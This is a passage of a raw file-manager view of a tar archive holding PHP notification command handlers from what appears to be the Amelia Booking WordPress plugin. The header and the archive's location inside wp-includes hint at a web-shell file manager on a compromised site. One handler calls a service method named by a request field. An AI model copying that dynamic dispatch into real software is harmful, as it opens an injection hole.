File manager - Edit - /home/premiey/www/wp-includes/images/media/Application.tar
Back
Commands/Notification/UpdateNotificationStatusCommandHandler.php 0000666 00000004275 15165412624 0021260 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Factory\Notification\NotificationFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; /** * Class UpdateNotificationStatusCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateNotificationStatusCommandHandler extends CommandHandler { public $mandatoryFields = [ 'status' ]; /** * @param UpdateNotificationStatusCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdateNotificationStatusCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to update notification'); } $notificationId = (int)$command->getArg('id'); $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); if ($notificationRepo->updateFieldById($notificationId, $command->getField('status'), 'status')) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated notification.'); $result->setData(true); } return $result; } } Commands/Notification/SendAmeliaSmsApiRequestCommandHandler.php 0000666 00000003155 15165412624 0020747 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Services\Notification\SMSAPIServiceInterface; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Entity\Entities; use Interop\Container\Exception\ContainerException; /** * Class SendAmeliaSmsApiRequestCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class SendAmeliaSmsApiRequestCommandHandler extends CommandHandler { /** * @param SendAmeliaSmsApiRequestCommand $command * * @return CommandResult * * @throws ContainerException * @throws AccessDeniedException */ public function handle(SendAmeliaSmsApiRequestCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to send test email'); } $result = new CommandResult(); /** @var SMSAPIServiceInterface $smsApiService */ $smsApiService = $this->getContainer()->get('application.smsApi.service'); // Call method dynamically and pass data to the function. Method name is the request field. $apiResponse = $smsApiService->{$command->getField('action')}($command->getField('data')); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Amelia SMS API request successful'); $result->setData($apiResponse); return $result; } } Commands/Notification/WhatsAppWebhookCommandHandler.php 0000666 00000004275 15165412624 0017331 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Notification\WhatsAppNotificationService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class WhatsAppWebhookCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class WhatsAppWebhookCommandHandler extends CommandHandler { /** * @param WhatsAppWebhookCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws ContainerException * @throws Exception */ public function handle(WhatsAppWebhookCommand $command) { $result = new CommandResult(); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $enabled = $settingsService->getSetting('notifications', 'whatsAppReplyEnabled'); if (empty($enabled)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Auto-reply not enabled'); $result->setData([]); return $result; } /** @var WhatsAppNotificationService $whatsAppNotificationService */ $whatsAppNotificationService = $this->getContainer()->get('application.whatsAppNotification.service'); $data = $command->getFields(); $phones = []; foreach ($data['entry'] as $entry) { foreach ($entry['changes'] as $change) { if ($change['field'] === 'messages') { foreach ($change['value']['messages'] as $message) { $phones[] = $message['from']; $whatsAppNotificationService->sendMessage($message['from']); } } } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Auto-reply successfully sent'); $result->setData($phones); return $result; } } Commands/Notification/UpdateSMSNotificationHistoryCommandHandler.php 0000666 00000002717 15165412624 0022020 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationSMSHistoryRepository; /** * Class UpdateSMSNotificationHistoryCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateSMSNotificationHistoryCommandHandler extends CommandHandler { /** * @param UpdateSMSNotificationHistoryCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdateSMSNotificationHistoryCommand $command) { $result = new CommandResult(); /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); $updateData = [ 'status' => $command->getField('status'), 'price' => $command->getField('price') ]; if ($notificationsSMSHistoryRepo->update((int)$command->getArg('id'), $updateData)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated SMS notification history.'); } return $result; } } Commands/Notification/GetNotificationsCommandHandler.php 0000666 00000010351 15165412624 0017524 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Notification\WhatsAppNotificationService; use AmeliaBooking\Domain\Collection\AbstractCollection; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\ValueObjects\String\Html; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; /** * Class GetNotificationsCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class GetNotificationsCommandHandler extends CommandHandler { /** * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle() { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to read notifications'); } $result = new CommandResult(); /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var WhatsAppNotificationService $whatsAppNotificationService */ $whatsAppNotificationService = $this->container->get('application.whatsAppNotification.service'); $whatsAppTemplates = []; if ($whatsAppNotificationService->checkRequiredFields()) { $whatsAppTemplates = $whatsAppNotificationService->getTemplates(); } /** @var Collection $notifications */ $notifications = $notificationRepo->getAll(); /** @var Notification $notification */ foreach ($notifications->getItems() as $notification) { if ($notification->getCustomName()) { $notification->setEntityIds($notificationEntitiesRepo->getEntities($notification->getId()->getValue())); $notification->setEntityIds(array_map('intval', $notification->getEntityIds())); } if (!empty($whatsAppTemplates[0]) && !empty($notification->getWhatsAppTemplate()) && !empty($whatsAppTemplates[0]['data'])) { if (!in_array($notification->getWhatsAppTemplate(), array_column($whatsAppTemplates[0]['data'], 'name'))) { $notification->setWhatsAppTemplate(''); $notification->setSubject(new Name('')); $notification->setContent(new Html('')); $notificationRepo->updateFieldById($notification->getId()->getValue(), null, 'whatsAppTemplate'); $notificationRepo->updateFieldById($notification->getId()->getValue(), '', 'subject'); $notificationRepo->updateFieldById($notification->getId()->getValue(), '', 'content'); } } } if (!$notifications instanceof AbstractCollection) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get notifications'); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved notifications.'); $result->setData( [ Entities::NOTIFICATIONS => $notifications->toArray(), 'whatsAppTemplates' => !empty($whatsAppTemplates[1]) ? $whatsAppTemplates[1] : [] ] ); return $result; } } Commands/Notification/GetNotificationsCommand.php 0000666 00000000417 15165412624 0016230 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class GetNotificationsCommand * * @package AmeliaBooking\Application\Commands\Notification */ class GetNotificationsCommand extends Command { } Commands/Notification/UpdateNotificationCommand.php 0000666 00000000423 15165412624 0016545 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateNotificationCommand * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateNotificationCommand extends Command { } Commands/Notification/DeleteNotificationCommandHandler.php 0000666 00000006325 15165412624 0020032 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Factory\Notification\NotificationFactory; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Domain\ValueObjects\String\NotificationSendTo; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use DOMDocument; use DOMElement; use \Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class DeleteNotificationCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class DeleteNotificationCommandHandler extends CommandHandler { /** * @param DeleteNotificationCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException * @throws NotFoundException */ public function handle(DeleteNotificationCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to delete notifications'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); /** @var Notification $notification */ $notification = $notificationRepo->getById($command->getArg('id')); if (!$notification instanceof Notification) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete notification.'); return $result; } if ($notification->getCustomName() === null) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Can not delete default notifications.'); return $result; } $notificationRepo->beginTransaction(); if (!$notificationRepo->delete($notification->getId()->getValue())) { $notificationRepo->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to delete notification.'); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted notification.'); $result->setData( [ Entities::NOTIFICATION => $notification->toArray() ] ); $notificationRepo->commit(); return $result; } } Commands/Notification/AddNotificationCommand.php 0000666 00000000415 15165412624 0016014 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class AddNotificationCommand * * @package AmeliaBooking\Application\Commands\Notification */ class AddNotificationCommand extends Command { } Commands/Notification/SendUndeliveredNotificationsCommand.php 0000666 00000000447 15165412624 0020574 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class SendUndeliveredNotificationsCommand * * @package AmeliaBooking\Application\Commands\Notification */ class SendUndeliveredNotificationsCommand extends Command { } Commands/Notification/SendTestEmailCommandHandler.php 0000666 00000012647 15165412624 0016766 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Application\Services\Notification\EmailNotificationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\NotificationSendTo; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Services\Notification\MailgunService; use AmeliaBooking\Infrastructure\Services\Notification\PHPMailService; use AmeliaBooking\Infrastructure\Services\Notification\SMTPService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class SendTestEmailCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class SendTestEmailCommandHandler extends CommandHandler { public $mandatoryFields = [ 'notificationTemplate', 'recipientEmail' ]; /** * @param SendTestEmailCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle(SendTestEmailCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to send test email'); } $result = new CommandResult(); $this->checkMandatoryFields($command); $type = $command->getField('type'); /** @var PHPMailService|SMTPService|MailgunService $mailService */ $mailService = $this->getContainer()->get('infrastructure.mail.service'); /** @var EmailNotificationService $notificationService */ $notificationService = $this->getContainer()->get('application.emailNotification.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->getContainer()->get("application.placeholder.{$type}.service"); /** @var SettingsService $settingsAS*/ $settingsAS = $this->container->get('application.settings.service'); /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $notificationSettings = $settingsService->getCategorySettings('notifications'); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); if (!$notificationSettings['senderEmail'] || !$notificationSettings['senderName']) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Test email not sent'); return $result; } $notification = $notificationService->getById($command->getField('notificationTemplate')); $dummyData = $placeholderService->getPlaceholdersDummyData('email'); $isForCustomer = $notification->getSendTo()->getValue() === NotificationSendTo::CUSTOMER; $placeholderStringRec = 'recurring' . 'Placeholders' . ($isForCustomer ? 'Customer' : ''); $placeholderStringPack = 'package' . 'Placeholders' . ($isForCustomer ? 'Customer' : ''); $dummyData['recurring_appointments_details'] = $placeholderService->applyPlaceholders($appointmentsSettings[$placeholderStringRec], $dummyData); $dummyData['package_appointments_details'] = $placeholderService->applyPlaceholders($appointmentsSettings[$placeholderStringPack], $dummyData); $language = $command->getField('language'); $info = json_encode(['locale' => $language]); $notificationSubject = $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($info), $notification->getTranslations() ? $notification->getTranslations()->getValue() : null, 'subject' ) ?: $notification->getSubject()->getValue(); $notificationContent = $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($info), $notification->getTranslations() ? $notification->getTranslations()->getValue() : null, 'content' ) ?: $notification->getContent()->getValue(); $subject = $placeholderService->applyPlaceholders( $notificationSubject, $dummyData ); $content = $placeholderService->applyPlaceholders( $notificationContent, $dummyData ); $mailService->send( $command->getField('recipientEmail'), $subject, $notificationService->getParsedBody($content), $settingsAS->getBccEmails() ); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Test email successfully sent'); return $result; } } Commands/Notification/WhatsAppWebhookRegisterCommandHandler.php 0000666 00000003161 15165412624 0021027 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Services\Settings\SettingsService; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class WhatsAppWebhookCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class WhatsAppWebhookRegisterCommandHandler extends CommandHandler { /** * @param WhatsAppWebhookRegisterCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws ContainerException * @throws Exception */ public function handle(WhatsAppWebhookRegisterCommand $command) { $result = new CommandResult(); $params = $command->getField('params'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); if ($params['hub_mode'] == 'subscribe' && $params['hub_verify_token'] == $settingsDS->getSetting('notifications', 'whatsAppReplyToken') ) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('WhatsApp Verify token successfully validated'); $result->setData($params['hub_challenge']); } else { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage("Can't validate token"); $result->setData("Can't validate WhatsApp verify token"); } return $result; } } Commands/Notification/UpdateSMSNotificationHistoryCommand.php 0000666 00000000447 15165412624 0020520 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateSMSNotificationHistoryCommand * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateSMSNotificationHistoryCommand extends Command { } Commands/Notification/UpdateNotificationStatusCommand.php 0000666 00000000437 15165412624 0017756 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateNotificationStatusCommand * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateNotificationStatusCommand extends Command { } Commands/Notification/AddNotificationCommandHandler.php 0000666 00000012334 15165412624 0017315 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Notification\NotificationHelperService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Factory\Notification\NotificationFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; use \Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AddNotificationCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class AddNotificationCommandHandler extends CommandHandler { public $mandatoryFields = [ 'name', 'type', 'subject', 'content' ]; /** * @param AddNotificationCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException */ public function handle(AddNotificationCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to create notifications'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var EventRepository $eventRepo */ $eventRepo = $this->container->get('domain.booking.event.repository'); /** @var NotificationHelperService $notificationHelper */ $notificationHelper = $this->container->get('application.notificationHelper.service'); $content = $command->getField('content'); if ($command->getField('type') === 'email') { $content = preg_replace("/\r|\n/", "", $content); } if ($command->getField('type') !== 'whatsapp') { $contentRes = $notificationHelper->parseAndReplace($content); $parsedContent = $contentRes[0]; $content = $contentRes[1]; } $notification = NotificationFactory::create( [ 'name' => $command->getField('name'), 'customName' => $command->getField('customName'), 'status' => $command->getField('status'), 'type' => $command->getField('type'), 'time' => $command->getField('time'), 'timeBefore' => $command->getField('timeBefore'), 'timeAfter' => $command->getField('timeAfter'), 'sendTo' => $command->getField('sendTo'), 'subject' => $command->getField('subject'), 'entity' => $command->getField('entity'), 'content' => $content, 'translations' => $command->getField('translations'), 'entityIds' => $command->getField('entityIds'), 'sendOnlyMe' => $command->getField('sendOnlyMe'), 'whatsAppTemplate' => $command->getField('whatsAppTemplate'), ] ); if (!$notification instanceof Notification) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not add notification entity.'); return $result; } $id = $notificationRepo->add($notification); if ($id) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added notification.'); $result->setData( [ Entities::NOTIFICATION => $notification->toArray(), 'update' => !empty($parsedContent), 'id' => $id ] ); } $addEntities = $notification->getEntityIds(); foreach ($addEntities as $addEntity) { $recurringMain = null; if ($notification->getEntity()->getValue() === Entities::EVENT) { $recurring = $eventRepo->isRecurring($addEntity); if ($recurring['event_recurringOrder'] !== null) { $recurringMain = $recurring['event_recurringOrder'] === 1 ? $addEntity : $recurring['event_parentId']; } } $notificationEntitiesRepo->addEntity($id, $recurringMain ?: $addEntity, $notification->getEntity()->getValue()); } return $result; } } Commands/Notification/UpdateNotificationCommandHandler.php 0000666 00000014230 15165412624 0020044 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Notification\NotificationHelperService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Factory\Notification\NotificationFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; use \Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateNotificationCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class UpdateNotificationCommandHandler extends CommandHandler { public $mandatoryFields = [ 'subject', 'content' ]; /** * @param UpdateNotificationCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws NotFoundException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException */ public function handle(UpdateNotificationCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::NOTIFICATIONS)) { throw new AccessDeniedException('You are not allowed to update notification'); } $notificationId = (int)$command->getArg('id'); $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var EventRepository $eventRepo */ $eventRepo = $this->container->get('domain.booking.event.repository'); /** @var NotificationHelperService $notificationHelper */ $notificationHelper = $this->container->get('application.notificationHelper.service'); $currentNotification = $notificationRepo->getById($notificationId); $currentEntityList = $notificationEntitiesRepo->getEntities($notificationId); $content = $command->getField('content'); if ($command->getField('type') === 'email') { $content = preg_replace("/\r|\n/", "", $content); } if ($command->getField('type') !== 'whatsapp') { $contentRes = $notificationHelper->parseAndReplace($content); $parsedContent = $contentRes[0]; $content = $contentRes[1]; } $isCustom = $command->getField('customName') !== null ; $notification = NotificationFactory::create( [ 'id' => $notificationId, 'name' => $isCustom ? $command->getField('name') : $currentNotification->getName()->getValue(), 'customName' => $command->getField('customName'), 'status' => $command->getField('status') ?: $currentNotification->getStatus()->getValue(), 'type' => $currentNotification->getType()->getValue(), 'time' => $command->getField('time'), 'timeBefore' => $command->getField('timeBefore'), 'timeAfter' => $command->getField('timeAfter'), 'sendTo' => $currentNotification->getSendTo()->getValue(), 'subject' => $command->getField('subject'), 'entity' => $command->getField('entity'), 'content' => $content, 'translations' => $command->getField('translations'), 'entityIds' => $command->getField('entityIds'), 'sendOnlyMe' => $command->getField('sendOnlyMe'), 'whatsAppTemplate' => $command->getField('whatsAppTemplate'), ] ); if (!$notification instanceof Notification) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update notification entity.'); return $result; } if ($notificationRepo->update($notificationId, $notification)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated notification.'); $result->setData( [ Entities::NOTIFICATION => $notification->toArray(), 'update' => !empty($parsedContent) ] ); } if ($notification->getCustomName()) { $removeEntities = array_diff($currentEntityList, $notification->getEntityIds()); $addEntities = array_diff($notification->getEntityIds(), $currentEntityList); foreach ($removeEntities as $removeEntity) { $notificationEntitiesRepo->removeEntity($notificationId, $removeEntity, $notification->getEntity()->getValue()); } foreach ($addEntities as $addEntity) { $recurringMain = null; if ($notification->getEntity()->getValue() === Entities::EVENT) { $recurring = $eventRepo->isRecurring($addEntity); if ($recurring['event_recurringOrder'] !== null) { $recurringMain = $recurring['event_recurringOrder'] === 1 ? $addEntity : $recurring['event_parentId']; } } $notificationEntitiesRepo->addEntity($notificationId, $recurringMain ?: $addEntity, $notification->getEntity()->getValue()); } } return $result; } } Commands/Notification/DeleteNotificationCommand.php 0000666 00000000423 15165412624 0016525 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteNotificationCommand * * @package AmeliaBooking\Application\Commands\Notification */ class DeleteNotificationCommand extends Command { } Commands/Notification/WhatsAppWebhookCommand.php 0000666 00000000415 15165412624 0016023 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class WhatsAppWebhookCommand * * @package AmeliaBooking\Application\Commands\Notification */ class WhatsAppWebhookCommand extends Command { } Commands/Notification/SendTestWhatsAppCommand.php 0000666 00000000417 15165412624 0016160 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class SendTestWhatsAppCommand * * @package AmeliaBooking\Application\Commands\Notification */ class SendTestWhatsAppCommand extends Command { } Commands/Notification/SendAmeliaSmsApiRequestCommand.php 0000666 00000000435 15165412624 0017447 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\Command; /** * Class SendAmeliaSmsApiRequestCommand * * @package AmeliaBooking\Application\Commands\Notification */ class SendAmeliaSmsApiRequestCommand extends Command { } Commands/Notification/SendUndeliveredNotificationsCommandHandler.php 0000666 00000010627 15165412624 0022073 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Notification; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Notification\EmailNotificationService; use AmeliaBooking\Application\Services\Notification\SMSNotificationService; use AmeliaBooking\Application\Services\Notification\WhatsAppNotificationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\WP\EventListeners\Booking\Appointment\BookingAddedEventHandler; use Exception; use Interop\Container\Exception\ContainerException; /** * Class SendUndeliveredNotificationsCommandHandler * * @package AmeliaBooking\Application\Commands\Notification */ class SendUndeliveredNotificationsCommandHandler extends CommandHandler { /** * @return CommandResult * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle() { $result = new CommandResult(); /** @var EmailNotificationService $emailNotificationService */ $emailNotificationService = $this->getContainer()->get('application.emailNotification.service'); /** @var SMSNotificationService $smsNotificationService */ $smsNotificationService = $this->getContainer()->get('application.smsNotification.service'); /** @var WhatsAppNotificationService $whatsAppNotificationService */ $whatsAppNotificationService = $this->container->get('application.whatsAppNotification.service'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $emailNotificationService->sendUndeliveredNotifications(); if ($settingsService->getSetting('notifications', 'smsSignedIn') === true) { 